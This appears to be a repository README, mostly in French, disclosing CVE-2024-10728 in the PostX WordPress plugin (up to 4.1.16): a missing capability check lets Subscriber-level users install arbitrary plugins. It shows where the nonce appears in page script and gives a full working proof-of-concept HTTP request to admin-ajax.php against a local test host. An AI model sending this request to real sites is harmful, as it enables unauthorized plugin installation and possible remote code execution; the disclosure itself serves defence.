randomrobbiebf/cve-2024-10728PostX <= 4.1.16 - Autorisation manquante permettant l'installation/activation arbitraire de plugins
PostX <= 4.1.16 - Absence d'autorisation pour l'installation/activation arbitraire de plugins
Le plugin Post Grid Gutenberg Blocks and WordPress Blog Plugin – PostX pour WordPress est vulnérable à l'installation/activation non autorisée de plugins en raison d'un contrôle de capacité manquant sur la fonction 'install_required_plugin_callback' dans toutes les versions jusqu'à la 4.1.16 incluse. Cela permet à des attaquants authentifiés, disposant d'un accès de niveau Abonné et supérieur, d'installer et d'activer des plugins arbitraires, ce qui peut être exploité pour parvenir à une exécution de code à distance si un autre plugin vulnérable est installé et activé.
Score: 8.8
Vendors: wpxpo
Products: Post Grid Gutenberg Blocks and WordPress Blog Plugin – PostX
CVSS: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Interaction: none
Privileges: low
Attack Vector: network
Le nonce provient de la sécurité dans le JS suivant sur la page de profil lorsque vous êtes connecté.
<script id="ultp-option-script-js-extra">
var ultp_option_panel = {"url":"http:\/\/kubernetes.docker.internal\/wp-content\/plugins\/ultimate-post\/","version":"4.1.16","active":"","security":"baad7f1501","ajax":"http:\/\/kubernetes.docker.internal\/wp-admin\/admin-ajax.php","settings":{"preloader_style":"style1","preloader_color":"#037fff","container_width":"1140","hide_import_btn":"","disable_image_size":"","disable_view_cookies":"","disable_google_font":"","ultp_templates":"true","ultp_elementor":"true","ultp_table_of_content":"true","ultp_builder":"true","ultp_dynamic_content":"true","ultp_custom_font":"true","ultp_chatgpt":"true","post_grid_1":"yes","post_grid_2":"yes","post_grid_3":"yes","post_grid_4":"yes","post_grid_5":"yes","post_grid_6":"yes","post_grid_7":"yes","post_list_1":"yes","post_list_2":"yes","post_list_3":"yes","post_list_4":"yes","post_module_1":"yes","post_module_2":"yes","post_slider_1":"yes","post_slider_2":"yes","heading":"yes","image":"yes","taxonomy":"yes","wrapper":"yes","news_ticker":"yes","builder_advance_post_meta":"yes","builder_archive_title":"yes","builder_author_box":"yes","builder_post_next_previous":"yes","builder_post_author_meta":"yes","builder_post_breadcrumb":"yes","builder_post_category":"yes","builder_post_comment_count":"yes","builder_post_comments":"yes","builder_post_content":"yes","builder_post_date_meta":"yes","builder_post_excerpt":"yes","builder_post_featured_image":"yes","builder_post_reading_time":"yes","builder_post_social_share":"yes","builder_post_tag":"yes","builder_post_title":"yes","builder_post_view_count":"yes","save_version":110,"activated_date":1731715200,"init_setup":"yes","ultp_wpbakery":"true","akismet":"true","wp-ug":"true"},"post_type":"","saved_template_url":"http:\/\/kubernetes.docker.internal\/wp-admin\/admin.php?page=ultp-settings#saved-templates"};
</script>
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: kubernetes.docker.internal
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:132.0) Gecko/20100101 Firefox/132.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://kubernetes.docker.internal/wp-admin/admin.php?page=ultp-settings
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 175
Origin: http://kubernetes.docker.internal
Connection: keep-alive
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action=install_required_plugin&wpnonce=6aef36a1bb&plugin=%7B%22name%22%3A%22MC4WP%3A+Mailchimp+for+WordPress%22%2C%22path%22%3A%22mailchimp-for-wp%2Fmailchimp-for-wp.php%22%7D